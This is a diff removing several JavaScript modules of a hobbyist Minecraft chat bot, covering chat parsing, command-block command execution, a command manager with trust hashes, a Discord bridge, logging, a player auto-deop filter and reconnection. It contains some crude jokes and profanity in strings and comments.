case 5:
bot.emit('message', [{ translate: 'chat.type.announcement', with: [ sender, message ]}])
break
}
tryParsingMessage(message, { senderName: sender, players: bot.players, getMessageAsPrismarine: bot.getMessageAsPrismarine })
})
bot.on('packet.player_chat', (packet, data) => {
const unsigned = tryParse(packet.unsignedChatContent)
bot.emit('player_chat', { plain: packet.plainMessage, unsigned, senderUuid: packet.senderUuid })
switch (packet.type) {
case 5:
bot.emit('message', { translate: "chat.type.announcement", with: [ bot.players.find(player => player.uuid === packet.senderUuid).profile.name, packet.plainMessage ]})
break
case 3:
bot.emit('message', { translate: "commands.message.display.outgoing", with: [ bot.players.find(player => player.uuid === packet.senderUuid).profile.name, packet.plainMessage ], color: "gray", italic: true })
break
case 2:
bot.emit('message', { translate: "commands.message.display.incoming", with: [ bot.players.find(player => player.uuid === packet.senderUuid).profile.name, packet.plainMessage ], color: "gray", italic: true })
break
default:
bot.emit('message', unsigned)
}
tryParsingMessage(unsigned, { senderUuid: packet.senderUuid, players: bot.players, getMessageAsPrismarine: bot.getMessageAsPrismarine })
})
bot.on('packet.system_chat', packet => {
const message = tryParse(packet.content)
if (!config.commandSetMessage) {
if (message.translate === 'advMode.setCommand.success') return // Ignores command set message
}
if (message.translate === 'multiplayer.message_not_delivered') return
bot.emit('system_chat', { message, actionbar: packet.isActionBar })
if (packet.isActionBar) {
return
}
bot.emit('message', message)
tryParsingMessage(message, { players: bot.players, getMessageAsPrismarine: bot.getMessageAsPrismarine })
})
function tryParsingMessage (message, data) {
let parsed
for (const parser of bot.chatParsers) {
parsed = parser(message, data)
if (parsed) break
}
if (!parsed) return
bot.emit('parsed_message', parsed)
}
bot.getMessageAsPrismarine = message => {
try {
if (ChatMessage !== undefined) {
return new ChatMessage(message)
}
} catch {}
return undefined
}
bot.chat = {
message: message => {
const acc = 0;
const bitset = Buffer.allocUnsafe(3);
bitset[0] = acc & 0xFF;
bitset[1] = (acc >> 8) & 0xFF;
bitset[2] = (acc >> 16) & 0xFF;
bot._client.write('chat_message', {
message: message?.substring(0, 256),
timestamp: BigInt(Date.now()),
salt: 0n,
offset: 0,
acknowledged: bitset
})
},
command: command => {
bot._client.write('chat_command', {
command: command?.substring(0, 256),
timestamp: BigInt(Date.now()),
salt: 0n,
argumentSignatures: [],
signedPreview: false,
messageCount: 0,
acknowledged: Buffer.alloc(3),
previousMessages: []
})
}
}
bot.tellraw = (selector, message) => {
bot.core.run(`minecraft:tellraw ${selector} ` + JSON.stringify(message))
}
}
module.exports = chat;

View file

@ -1,86 +0,0 @@
function core (bot, options, config) {
bot.core = {
area: {
start: config.core?.area.start ?? { x: 0, y: 0, z: 0 },
end: config.core?.area.end ?? { x: 15, y: 0, z: 15 }
},
position: null,
currentBlockRelative: { x: 0, y: 0, z: 0 },
refill () {
const pos = bot.core.position
const { start, end } = bot.core.area
if (!pos) return
if (bot.options.useChat || bot.options.isCreayun || bot.options.isSavage) return
if (isNaN(pos.x + start.x)) {
bot.chat.command('spawn');
return
}
/*^^^
for checking is the core pos is null and if so
it will not refill core until the pos is not NaN
instead of tping to a set cords cuz fuck you im not doing that
*/
bot.chat.command(`minecraft:fill ${pos.x + start.x} ${pos.y + start.y} ${pos.z + start.z} ${pos.x + end.x} ${pos.y + end.y} ${pos.z + end.z} repeating_command_block{CustomName:'${JSON.stringify(config.core.name)}'}`)
},
move (pos = bot.position) {
bot.core.position = {
x: Math.floor(pos.x / 16) * 16,
y: 0,
z: Math.floor(pos.z / 16) * 16
}
bot.core.refill()
},
currentBlock () {
const relativePosition = bot.core.currentBlockRelative
const corePosition = bot.core.position
if (!corePosition) return null
return { x: relativePosition.x + corePosition.x, y: relativePosition.y + corePosition.y, z: relativePosition.z + corePosition.z }
},
incrementCurrentBlock () {
const relativePosition = bot.core.currentBlockRelative
const { start, end } = bot.core.area
relativePosition.x++
if (relativePosition.x > end.x) {
relativePosition.x = start.x
relativePosition.z++
}
if (relativePosition.z > end.z) {
relativePosition.z = start.z
relativePosition.y++
}
if (relativePosition.y > end.y) {
relativePosition.x = start.x
relativePosition.y = start.y
relativePosition.z = start.z
}
},
run (command) {
const location = bot.core.currentBlock()
if (!location) return
if (bot.options.isSavage || bot.options.isCreayun || bot.options.useChat) {
return
} else {
bot._client.write('update_command_block', { command: command.substring(0, 32767), location, mode: 1, flags: 0b100 })
bot.core.incrementCurrentBlock()
}
}
}
// if (bot.options.useChat ?? bot.options.isCreayun ?? bot.options.isSavage) return
if (bot.options.isSavage || bot.options.isCreayun) return
bot.on('move', () => {
// if (bot.options.isSavage) return
bot.core.move(bot.position)
// setTimeout(() => bot.core.run('say Hello, world!'), 1000)
})
}
module.exports = core;

View file

@ -1,31 +0,0 @@
function command_loop (bot, options, config) {
bot.cloop = {
list: [],
add (command, interval) {
let timer;
timer = ({ timer: setInterval(() => bot.core.run(command), interval), command, interval })
this.list.push(timer)
bot.on('end', () => {
this.clear()
})
bot.on('packet.login', () => {
if (this.list.length === 0) return
timer = ({ timer: setInterval(() => bot.core.run(command), interval), command, interval })
this.list.push(timer);
})
},
remove (index) {
clearInterval(this.list[index].timer)
bot.cloop.list.splice(index, 1)
},
clear () {
for (const cloop of this.list) clearInterval(cloop.timer)
this.list = []
}
}
}
module.exports = command_loop;

View file

@ -1,202 +0,0 @@
const fs = require('fs');
const path = require('path');
const CommandError = require('../util/command_error.js');
const CommandSource = require('../util/command_source');
const { EmbedBuilder } = require('discord.js');
function command_manager (bot, options, config, discordClient) {
bot.commandManager = {
commands: {},
commandlist: [],
execute (source, commandName, args) {
const command = this.getCommand(commandName.toLowerCase());
try {
if (source?.sources?.discord && !source?.sources?.console) {
if (!command || !command?.execute) {
const Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.error}`)
.setTitle("Unknown command")
.setDescription(`Unknown command: ${commandName}`)
bot?.discord?.message?.reply({ embeds: [Embed] })
}
} else if (!source?.sources?.discord && !source?.sources?.console) {
if (!command || !command.execute)
throw new CommandError([
{
translate: `command.unknown.command`
},
{
text: '\n'
},
{
text: `${commandName} `
},
{
translate: "command.context.here"
}
])
} else if (source?.sources?.console && !source?.sources?.discord) {
if (!command || !command.execute)
bot.console.warn([
{
translate: 'command.unknown.command',
color: "dark_red"
},
{
text: "\n",
},
{
text: `${commandName}`,
color: "dark_red"
},
{
translate: "command.context.here",
color: "dark_red"
}
])
}
if (command?.trustLevel > 0) {
const event = bot.discord.message;
const roles = event?.member?.roles?.cache;
if (command?.trustLevel === 1 && !source?.sources?.discord) {
if (args.length === 0 && bot.validation.trusted && bot.validation.admin && bot.validation.owner && !source?.sources?.console) throw new CommandError({ text: "Please provide an trusted or an admin or an owner hash" })
if (args[0] !== bot.validation.trusted && args[0] !== bot.validation.admin && args[0] !== bot.validation.owner && !source.sources.console) throw new CommandError({ translate: 'Invalid trusted or admin or owner hash', color: 'dark_red' });
// if (args[0] === bot.validation.trusted || args[0] === bot.validation.admin || args[0] === bot.validation.owner) bot.validation.update();
} else if (command?.trustLevel === 1 && source?.sources.discord) {
const hasRole = roles?.some(role => role.name === `${config.discord.roles.trusted}` || role.name === `${config.discord.roles.owner}`)
if (!hasRole) throw new CommandError({ translate: 'You are not trusted or the owner!' })
}
if (command?.trustLevel === 2 && !source.sources.console) {
if (args.length === 0 && bot.validation.admin && bot.validation.owner && !source.sources.console) throw new CommandError({ text: "Please provide an trusted or owner hash" })
if (args[0] !== bot.validation.trusted && args[0] !== bot.validation.owner && !source.sources.console) throw new CommandError({ translate: 'Invalid trusted or owner hash', color: 'dark_red' });
// if (args[0] === bot.validation.admin || args[0] === bot.validation.owner) bot.validation.update();
}
if (command?.trustLevel === 3 && !source.sources.discord && !source.sources.console) {
if (args.length === 0 && bot.validation.owner) throw new CommandError({ text: "Please provide an owner hash" })
if (args[0] !== bot.validation.owner) throw new CommandError({ translate: 'Invalid owner hash', color: 'dark_red' })
// if (args[0] === bot.validation.owner) bot.validation.update();
} else if (command?.trustLevel === 3 && source.sources.discord && !source.sources.console) {
const hasRole = roles?.some(role => role.name === `${config.discord.roles.owner}`)
if (!hasRole) throw new CommandError({ translate: 'You are not the owner!' })
} else if (command?.trustLevel === 4 && !source.sources.console) {
throw new CommandError('This command can only be ran via console');
}
}
if (!command?.discordExecute && command && source?.sources?.discord) {
throw new CommandError(`${command.name} command is not supported in discord!`)
} else if (command?.discordExecute && command && source?.sources?.discord) {
return command.discordExecute({ bot, source, arguments: args, config, discordClient })
} else if (!command?.execute && command && !source?.sources?.discord) {
throw new CommandError(`${command.name} command is not supported in game!`)
} else if (command?.execute && command && !source?.sources?.discord) {
return command?.execute({ bot, source, arguments: args, config, discordClient });
}
} catch (error) {
console.error(error.stack)
if (source?.sources?.discord && !source?.sources?.console) {
const Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.error}`)
.setTitle(`${command?.name} command`)
.setDescription(`\`\`\`${error}\`\`\``)
bot?.discord?.message?.reply({
embeds: [
Embed
]
})
} else if (!source?.sources?.discord && !source?.sources?.console) {
if (error instanceof CommandError) {
if (bot.options.isSavage || bot.options.isCreayun) {
bot.chat.message(`&4${error.message}`)
} else {
bot.tellraw("@a", { text: error.message, color: "dark_red" })
}
} else {
if (bot.options.isSavage || bot.options.isCreayun) {
bot.chat.message(`${bot.getMessageAsPrismarine({ translate: "command.failed", color: "dark_red" })?.toMotd().replaceAll('§','&')}`)
} else {
bot.tellraw("@a", [{ translate: 'command.failed', color: "dark_red", hoverEvent: { action: 'show_text', contents: `${error.stack}` } }])
}
}
// else bot.tellraw("@a", [{ translate: 'command.failed', color: "dark_red", hoverEvent: { action: 'show_text', contents: `${error.stack}` } }])
//}
}
}
},
executeString (source, command) {
const [commandName, ...args] = command.split(' ')
return this.execute(source, commandName, args)
},
discordExecute(source, command) {
const [commandName, ...args] = command.split(" ");
if (source?.sources?.discord && !source.sources.console) {
return this.discordExecute(source, commandName, args)
}
},
register (command) {
this.commands[command.name] = command
if (command.aliases) {
command.aliases.map((a) => (this.commands[a] = command));
}
},
unregister (command) {
this.commands = {};
},
getCommand (name) {
return this.commands[name]
},
getCommands () {
return Object.values(this.commands)
},
reload() {
for (const filename of fs.readdirSync(path.join(__dirname, "../commands"))) {
try {
delete require.cache[require.resolve(path.join(__dirname, "../commands/", filename))]
const command = require(path.join(__dirname, "../commands/", filename));
bot.commandManager.register(command);
bot.commandManager.commandlist.pop(command)
bot.commandManager.commandlist.push(command)
} catch (error) {
bot.tellraw("@a", { text: `Failed to reload file ${filename}\n${error.stack}`, color: "red" })
bot?.console?.fileLogger(error.stack);
}
}
}
}
commandlist = [];
for (const filename of fs.readdirSync(path.join(__dirname, '../commands'))) {
try {
const command = require(path.join(__dirname, '../commands', filename))
bot.commandManager.register(command)
bot.commandManager.commandlist.push(command)
} catch (error) {
console.error('Failed to load command', filename, ':', error)
bot?.console.filelogging(error.stack)
}
}
let ratelimit = 0;
bot.on("parsed_message", (data) => {
if (data.type !== "minecraft:chat") return;
const prefixes = config.prefixes;
prefixes.map((prefix) => {
const plainMessage = bot.getMessageAsPrismarine(data.contents)?.toString();
if (!plainMessage.startsWith(prefix)) return
const command = plainMessage.substring(prefix.length)
const source = new CommandSource(data.sender, { discord: false, console: false }, true)
ratelimit++
setTimeout(() => {
ratelimit--
}, 1000)
if (ratelimit > 2) {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, { text: 'You are using commands too fast!', color: 'dark_red'})
} else if (command.split(" ")[0].length === 0) {
} else {
bot.commandManager.executeString(source, command)
}
})
})
}
module.exports = command_manager;

View file

@ -1,89 +0,0 @@
const CommandSource = require('../util/command_source');
const prismarineChat = require('prismarine-chat')('1.20.2');
const convert = require('color-convert')
function Console (bot, options, config) {
let rateLimit = 0;
bot.console = {
readline: null,
server: 'all',
readlineInterface (rl) {
this.readline = rl
rl.on('line', (args) => {
if (bot.options.serverName !== this.server && this.server !== 'all') return
if (args.startsWith(config.console.prefix)) {
return bot.commandManager.executeString(bot.console.source, args.substring(config.console.prefix.length))
} else if (args.startsWith("")) {
return bot.commandManager.executeString(bot.console.source, `console say ${args.substring(0)}`);
}
rl.on('close', () => {
this.readline = null;
})
})
},
source: new CommandSource(bot.options.username, { console: true, discord: false }),
refreshLine (...args) {
this.readline.output.write("\x1b[2K\r");
console.log.apply(console, arguments);
this.readline._refreshLine();
},
log (message) {
this.refreshLine(bot.getMessageAsPrismarine(`§8[§1${new Date().toLocaleTimeString("en-US", { timeZone: "America/CHICAGO" })} §3${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO" })} §6logs§8] §8[${options.serverName}§8] `)?.toAnsi() + message)
},
warn (error) {
this.refreshLine(prismarineChat.fromNotch(`§8[§1${new Date().toLocaleTimeString("en-US", { timeZone: "America/CHICAGO", })} §3${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO", })} §ewarn§8] §8[${options.serverName}§8] `)?.toAnsi() + error)
},
error (error) {
this.refreshLine(bot.getMessageAsPrismarine(`§8[§1${new Date().toLocaleTimeString("en-US", { timeZone: "America/CHICAGO", })} §3${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO", })} §4error§8] §8[${options.serverName}§8] `)?.toAnsi() + error)
},
info (message) {
this.refreshLine(prismarineChat.fromNotch(`§8[§1${new Date().toLocaleTimeString("en-US", { timeZone: "America/CHICAGO", })} §3${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO", })} §2info§8] §8[${options.serverName}§8] `)?.toAnsi() + message)
},
customChat: {
enabled: false,
rainbow: false,
chat (message) {
if (this.rainbow) {
} else {
prefix = {
translate: '[%s] %s \u203a %s',
color:'dark_gray',
with: [
{
text: 'FNFBoyfriendBot Console',
color:'#00FFFF'
},
{
selector: `${bot.username}`, color:'#00FFFF',
clickEvent: { action: 'suggest_command', value: `${config.prefixes[0]}help` }
},
{
text: '',
extra: [`${message}`],
color:'white'
},
],
hoverEvent: { action:"show_text", value: 'FNF Sky is a fangirl but a simp for boyfriend confirmed??'},
clickEvent: 'https://doin-your.mom' ?
{ action: 'open_url', value: 'https://doin-your.mom' } : undefined,
}
}
bot.tellraw('@a', prefix)
}
}
}
bot.on('message', (message) => {
rateLimit++
setTimeout(() => {
rateLimit--
}, 1000)
if (!options.logging) return;
/* if (rateLimit > 100) {
return
}*/
bot.console.log(bot.getMessageAsPrismarine(message)?.toAnsi());
bot.console.fileLogger(`[${new Date().toLocaleTimeString("en-US", { timeZone: "America/CHICAGO", })} ${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO", })} logs] [${options.serverName}] ${bot.getMessageAsPrismarine(message)?.toString()}`);
})
}
module.exports = Console;

View file

@ -1,153 +0,0 @@
// TODO: Maybe move client creation elsepwhere
const { Client, GatewayIntentBits, interaction } = require('discord.js')
const { MessageContent, GuildMessages, Guilds } = GatewayIntentBits
const fixansi = require('../util/ansi');
const CommandSource = require('../util/command_source')
const client = new Client({ intents: [Guilds, GuildMessages, MessageContent] })
const util = require('util')
function discord(bot, options, config, discordClient) {
if (!options?.channelId) {
bot.discord = {
invite: config.discord?.invite
}
return
}
bot.discord = {
client: discordClient,
channel: undefined,
invite: config.discord.invite || undefined,
prefix: config.discord.prefix,
// presence: bot.discord.presence,
// token: config.discord.token,
}
discordClient.once('ready', (context) => {
bot.discord.channel = discordClient.channels.cache.get(options.channelId)
discordClient.user.setPresence({
activities: [{
name: `your mother`,
type: 0
}],
status: `dnd`
});
})
let discordQueue = []
setInterval(() => {
if (discordQueue.length === 0) return
try {
bot?.discord?.channel?.send(`\`\`\`ansi\n${discordQueue.join('\n').substring(0, 1984)}\n\`\`\``)
} catch (error) {
bot.console.warn(error.toString())
}
discordQueue = []
}, 2000)
function sendDiscordMessage(message) {
discordQueue.push(message)
}
function sendComponent(message) {
const ansi = bot.getMessageAsPrismarine(message)?.toAnsi(bot.registry.language).replaceAll('```\u001b[9```' + '```\u001b[3```').replaceAll('https://discord','https:\rdiscord')?.replaceAll('discord.gg', 'discord.\rgg').replaceAll('BlackStone Mafia On Top!', "Fuck off you god damn cunt");
try {
sendDiscordMessage(fixansi(ansi?.replaceAll('`', '`\u200b')))
} catch (e) {
bot.console.error(`Error sending a message to Discord:\n${e.message}`)
sendDiscordMessage(e.message)
}
}
bot.on('message', message => {
sendComponent(message)
})
function messageCreate(message, source) {
bot.discord.message = message;
if (message.author.id === bot.discord.client.user.id) return
if (message.channel.id !== bot.discord.channel.id) return
if (message.content.startsWith(config.discord.prefix)) { // TODO: Don't hardcode this
const source = new CommandSource({
profile: {
name: message?.member?.displayName
}
}, {
discord: true,
console: false
}, false, message)
bot.sendFeedback = message => {
sendComponent(message)
}
bot.commandManager.executeString(source, message.content.substring(config.discord.prefix.length))
return
}
const tag = {
translate: '[%s] %s \u203a %s',
with: [{
translate: '%s%s%s %s',
bold: false,
with: [{
text: 'FNF',
bold: false,
color: 'blue'
},
{
text: 'Boyfriend',
bold: false,
color: 'dark_aqua'
},
{
text: 'Bot',
bold: false,
color: 'dark_blue'
},
{
text: 'Discord',
bold: false,
color: 'dark_blue'
}
],
clickEvent: bot.discord.invite ? {
action: 'open_url',
value: bot.discord.invite
} : undefined,
hoverEvent: {
action: 'show_text',
contents: 'Click to join the discord'
}
},
{
text: message?.member?.displayName
},
message.content
]
}
if (message.attachments.size > 0) {
message.attachments.forEach(Attachment => {
bot.tellraw('@a', [tag, {
text: ' ' ? ' [Attachment] ' : ' [Attachment] ',
hoverEvent: {
action: 'show_text',
contents: 'Click here to view attachment'
},
clickEvent: {
action: 'open_url',
value: `${Attachment.url}`
}
}])
})
} else {
if (options.useChat || options.isSavage || options.isCreayun) {
bot.chat.message(bot.getMessageAsPrismarine(`&7[&9FNF&3Boyfriend&1Bot Discord&7] ${message?.member?.displayName} \u203a ${message?.content}`)?.toMotd().replaceAll('§','&'))
} else {
bot.tellraw('@a', tag);
}
}
}
discordClient.on('messageCreate', messageCreate)
}
module.exports = discord;

View file

@ -1,60 +0,0 @@
const fs = require("fs");
const path = require("path");
const { createGzip } = require("zlib");
const readline = require('readline');
const { Console } = require("console");
function fileLogger(bot, options, message) {
const currentDate = new Date();
const timestamp = `${currentDate.getFullYear()}-${(currentDate.getMonth() + 1)
.toString()
.padStart(2, "0")}-${currentDate.getDate().toString().padStart(2, "0")}`;
const logFolder = path.join(__dirname, "../../logs");
const logFileName = "latest.log";
const logFilePath = path.join(logFolder, logFileName);
const logStream = fs.createWriteStream(logFilePath, { flags: "a" });
if (!fs.existsSync(path.join(__dirname, "../../logs"))) {
fs.mkdirSync(path.join(__dirname, "../../logs"))
}
try {
if (!fs.existsSync(logFolder)) {
fs.mkdirSync(logFolder);
}
} catch (e) {
console.error(`Unable to create log folder: ${e}`);
}
function compressFile(input, output) {
// if (!bot.Console.filelogging) return
const plainOutput = output.slice(0, -3);
fs.renameSync(input, plainOutput);
const gzip = createGzip();
fs.createReadStream(plainOutput)
.pipe(gzip)
.pipe(fs.createWriteStream(output + ".tmp"))
.once("finish", () => {
fs.unlinkSync(plainOutput);
fs.renameSync(output + ".tmp", output);
});
}
if (fs.existsSync(logFilePath)) {
const plainName = fs
.statSync(logFilePath)
.ctime.toISOString()
.split("T")[0];
let name = plainName;
let counter = 1;
let newFileName = path.join(logFolder, `${name}.log.gz`);
while (fs.existsSync(newFileName)) {
name = `${plainName}-${counter}`;
newFileName = path.join(logFolder, `${name}.log.gz`);
counter++;
}
compressFile(logFilePath, newFileName);
}
bot.console.fileLogger = function logging (message) {
logStream.write(message + "\n");
};
}
module.exports = fileLogger;

View file

@ -1,109 +0,0 @@
const fs = require('fs');
const path = require('path');
function filter (bot, options, config, discordClient) {
if (options.isSavage || options.isCreayun) return;
// filter v5 (not to be confused with the bot version)
bot.filter = {
list () {
try {
return JSON.parse(fs.readFileSync(path.join(__dirname, '../data/filter.json')));
} catch (e) {
console.log(e.stack)
}
},
add (ignoreCase, regexed, player) {
var data = JSON.parse(fs.readFileSync(path.join(__dirname, '../data/filter.json')));
var arrayadd = { ignoreCase: ignoreCase, regexed: regexed, name: player }
data.push(arrayadd);
fs.writeFileSync(path.join(__dirname, '../data/filter.json'), JSON.stringify(data))
this.doAll();
},
remove (index) {
var data = JSON.parse(fs.readFileSync(path.join(__dirname, '../data/filter.json')));
data.splice(index, 1);
fs.writeFileSync(path.join(__dirname, '../data/filter.json'), JSON.stringify(data));
},
clear () {
var data = JSON.parse(fs.readFileSync(path.join(__dirname, '../data/filter.json')));
data = [];
fs.writeFileSync(path.join(__dirname, '../data/filter.json'), JSON.stringify(data))
},
doAll () {
}
}
bot.on('message', async (data) => {
for (const filteredPlayer of JSON.parse(fs.readFileSync(path.join(__dirname, '../data/filter.json')))) {
let player_completion = (await bot.tab_complete('deop ')).filter(_ => _.tooltip == undefined);
// console.log(muted);
// console.log(player_completion[0].match.toLowerCase());
// console.log(bot.players.find((players) => players.profile.name.toLowerCase() === filteredPlayers.name.toLowerCase()).gamemode)
player_completion.forEach(async (player) => {
if (filteredPlayer.ignoreCase) {
if (player.match !== bot.players.find((players) => players.profile.name === filteredPlayer.name.toLowerCase()).profile.name) return;
if (player.match === bot.players.find((players) => players.profile.name === filteredPlayer.name.toLowerCase()).profile.name) {
if (!bot.players.find((players) => players.profile.name === filteredPlayer.name.toLowerCase()).profile.name) return;
bot.core.run(`execute run deop @a[name="${bot.players.find((players) => players.profile.name === filteredPlayer.name.toLowerCase()).profile.name}"]`);
}
} else {
if (player.match !== bot.players.find((players) => players.profile.name === filteredPlayer.name).profile.name) return;
if (player.match === bot.players.find((players) => players.profile.name === filteredPlayer.name).profile.name) {
if (!bot.players.find((players) => players.profile.name === filteredPlayer.name).profile.name) return;
bot.core.run(`execute run deop @a[name="${bot.players.find((players) => players.profile.name === filteredPlayer.name).profile.name}"]`);
}
}
// if (filteredPlayer.ignoreCase) {
/// console.log('e');
// }
//if (filteredPlayer.ignoreCase) {
// if (player.match !== bot.players.find((players) => players.profile.name.toLowerCase() === filteredPlayer.name.toLowerCase())) return;
// if (player.match === bot.players.find((players) => players.profile.name.toLowerCase() === filteredPlayer.name.toLowerCase())) {
// bot.core.run(`execute run deop @a[name="${bot.players.find((players) => players.profile.name === filteredPlayer.name).profile.name}"]`);
//}
//if (bot.players.find((players) => players.profile.name.toLowerCase() === filteredPlayer.name.toLowerCase()).gamemode !== 2) {
//console.log('e');
// bot.core.run(`execute run gamemode adventure @a[name="${bot.players.find((players) => players.profile.name.toLowerCase() === filteredPlayer.name.toLowerCase()).profile.name}"]`);
//}
// }
})
/* if (player.match !== bot.players.find((players) => players.profile.name === filteredPlayer.name).profile.name) return;
if (player.match === bot.players.find((players) => players.profile.name === filteredPlayer.name).profile.name) {
bot.core.run(`execute run deop @a[name="${bot.players.find((players) => players.profile.name === filteredPlayer.name).profile.name}"]`);
}*/
/* if (!player) return;
if (player) {
if (!bot.players.find((players) => players.profile.name === filteredPlayer.name).profile.name) return;
bot.core.run(`execute run deop @a[name="${bot.players.find((players) => players.profile.name === filteredPlayer.name).profile.name}"]`);
}*/
// console.log(player);
// })
}
/* bot.players.forEach(async (player) => {
if (player) {
console.log(player_complete);
}
})*/
})
}
module.exports = filter;
/*
let player_completion = (await bot.tab_complete('scoreboard players add ')).filter(_ => _.tooltip == undefined) // exclude>
let op = (await bot.tab_complete('minecraft:op ')).filter(_ => _.tooltip == undefined);
bot.players.forEach(async player => {
if(!players.includes(player.uuid)) return
const a = player_completion.filter(_ => _.match == player.profile.name)
const b = op.filter(_ => _.match == player.profile.name);
//console.log(b)
if(a.length >= 1) {
player.vanished = true
} else {
bot.players = bot.players.filter(_ => _.uuid != player.uuid)
}
})
*/

View file

@ -1,106 +0,0 @@
function player_list (bot, options, config) {
bot.players = []
bot.on('packet.player_info', async (packet) => {
const actions = []
if (packet.action & 0b000001) actions.push(addPlayer)
if (packet.action & 0b000010) actions.push(initializeChat)
if (packet.action & 0b000100) actions.push(updateGamemode)
if (packet.action & 0b001000) actions.push(updateListed)
if (packet.action & 0b010000) actions.push(updateLatency)
if (packet.action & 0b100000) actions.push(updateDisplayName)
for (const entry of packet.data) {
for (const action of actions) {
action(entry)
}
}
})
bot.on('packet.player_remove', async ({players}) => { // players has uuids of the players
let player_completion = (await bot.tab_complete('scoreboard players add ')).filter(_ => _.tooltip == undefined) // exclude @a, @r, @s, @e, @p -aaa
bot.players.forEach(async player => {
if(!players.includes(player.uuid)) return
const a = player_completion.filter(_ => _.match == player.profile.name)
const b = op.filter(_ => _.match == player.profile.name);
//console.log(b)
if(a.length >= 1) {
player.vanished = true
} else {
bot.players = bot.players.filter(_ => _.uuid != player.uuid)
}
})
})
function addPlayer (entry) {
bot.players = bot.players.filter(_entry => _entry.uuid !== entry.uuid)
bot.players.push({
uuid: entry.uuid,
profile: { name: entry.player.name, properties: entry.player.properties },
// opped: false,
chatSession: undefined,
gamemode: undefined,
listed: undefined,
latency: undefined,
displayName: undefined,
vanished: false
})
}
function initializeChat (entry) {
}
function updateGamemode (entry) {
const target = bot.players.find(_entry => _entry.uuid === entry.uuid)
if (!target) return
target.gamemode = entry.gamemode
}
function updateListed (entry) {
const target = bot.players.find(_entry => _entry.uuid === entry.uuid)
if (!target) return
target.listed = entry.listed
}
/* async function op (target) {
// let player_completion = (await bot.tab_complete('minecraft:op ')).filter(_ => _.tooltip === undefined);
// console.log(player_completion);
bot.players.forEach(async player => {
if (!players.includes(player.uuid)) return;
let player_completion = (await bot.tab_complete('minecraft:op ')).filter(_ => _.tooltip === undefined);
const op = player_completion.filter(_ => _.match === players.profile.name);
console.log(op);
if (op.length >= 1) {
player.opped = true
}
})
target.opped = true
}*/
function updateLatency (entry) {
const target = bot.players.find(_entry => _entry.uuid === entry.uuid)
if (!target) return
target.latency = entry.latency
}
function updateDisplayName (entry) {
const target = bot.players.find(_entry => _entry.uuid === entry.uuid)
if (!target) return
try {
target.displayName = JSON.parse(entry.displayName)
} catch {
// do nothing
}
}
bot.on('end', () => (bot.players = []))
}
module.exports = player_list;

View file

@ -1,19 +0,0 @@
function position (bot, options, config) {
bot.position = null
bot.on('packet.position', packet => {
bot.position = {
x: packet.flags & 1 ? (this.x + packet.x) : packet.x,
y: packet.flags & 2 ? (this.y + packet.y) : packet.y,
z: packet.flags & 4 ? (this.z + packet.z) : packet.z
}
bot._client.write('teleport_confirm', { teleportId: packet.teleportId })
bot.emit('move')
})
bot.on('end', () => { bot.position = null })
}
module.exports = position

View file

@ -1,18 +0,0 @@
const mc = require('minecraft-protocol');
const usernameGen = require("../util/usernameGen");
function reconnect (bot, options, config) {
bot.on('end', () => {
if (bot.reconnectDelay < 0) return
setTimeout(() => {
if (options.usernameGen) {
client = options.client ?? mc.createClient(options, bot.options.username = usernameGen(bot))
} else {
client = options.client ?? mc.createClient(options)
}
bot._client = client
bot.emit('init_client', bot._client)
}, options.reconnectDelay);
})
}
module.exports = reconnect;

View file

@ -1,11 +0,0 @@
const createRegistry = require('prismarine-registry')
function registry (bot) {
bot.on('packet.login', packet => {
bot.registry = createRegistry(bot._client.version)
bot.registry.language = require('../data/language.json');
bot.emit('registry_ready', bot.registry)
})
}
module.exports = registry;

View file

@ -1,118 +0,0 @@
function selfcare (bot, options, config) {
let entityId;
let permissionLevel = 2;
let unmuted = false;
let gameMode;
let commandSpy = false;
let vanished = false;
let prefix = false;
let god = false;
let teleportToggle = false;
let username = false;
let nickname = false;
let login = false;
let register = false;
// You now have the tag: &8[&bPrefix&8: &3~&8]
// You no longer have a tag
bot.on('message', (message) => {
const stringMessage = bot.getMessageAsPrismarine(message)?.toString();
if (options.isSavage) {
if (stringMessage === "Please, login with the command: /login <password>") login = true;
else if (stringMessage === "Successful login!") login = false;
else if (stringMessage === "You're already logged in!") login = false;
else if (stringMessage === "Please, register to the server with the command: /register <password> <ConfirmPassword>") register = true;
else if (stringMessage === "This user isn't registered!") register = true;
else if (stringMessage === "Successfully registered!") register = false;
// else if (stringMessage === "You already have registered this username!") register = false;
else if (stringMessage === "You're already logged in!") register = false;
else if (stringMessage === "Successful login!") register = false;
/*
You're already logged in!
Please, register to the server with the command: /register <password> <ConfirmPassword>
Please, login with the command: /login <password>
Successfully registered!
Successful login!
You already have registered this username!
*/
} else if (options.isKaboom) {
// const stringMessage = bot.getMessageAsPrismarine(message)?.toString();
if (stringMessage === "Successfully enabled CommandSpy") commandSpy = true;
else if (stringMessage === "Successfully enabled CommandSpy.") commandSpy = true;
else if (stringMessage === "Successfully disabled CommandSpy") commandSpy = false;
else if (stringMessage === "Successfully disabled CommandSpy.") commandSpy = false;
else if (stringMessage === `Vanish for ${bot.options.username}: enabled`) vanished = true;
else if (stringMessage === `Vanish for ${bot.options.username}: disabled`) vanished = false;
else if (stringMessage === `You now have the tag: &8[&bPrefix&8: &3${config.prefixes[0]}&8]` || stringMessage === "Something went wrong while saving the prefix. Please check console.") prefix = true;
else if (stringMessage?.startsWith("You now have the tag: ") || stringMessage === "You no longer have a tag") prefix = false
else if (stringMessage?.startsWith("You have been muted")) unmuted = true;
else if (stringMessage?.startsWith("You have been unmuted")) unmuted = false;
else if (stringMessage?.startsWith("Your voice has been silenced")) unmuted = true;
else if (stringMessage === "God mode disabled.") god = false;
else if (stringMessage === "God mode enabled.") god = true;
else if (stringMessage === "Teleportation disabled.") teleportToggle = true;
else if (stringMessage === "Teleportation enabled.") teleportToggle = false;
else if (stringMessage === `Successfully set your username to "${bot.username}"`) {
username = false
return
}
else if (stringMessage?.startsWith("Successfully set your username to ")) username = true
else if (stringMessage === `You already have the username "${bot.username}"`) username = false
else if (stringMessage === `You no longer have a nickname.`) nickname = false;
else if (stringMessage.startsWith('Your nickname is now ')) nickname = true;
}
})
bot.on('packet.entity_status', packet => {
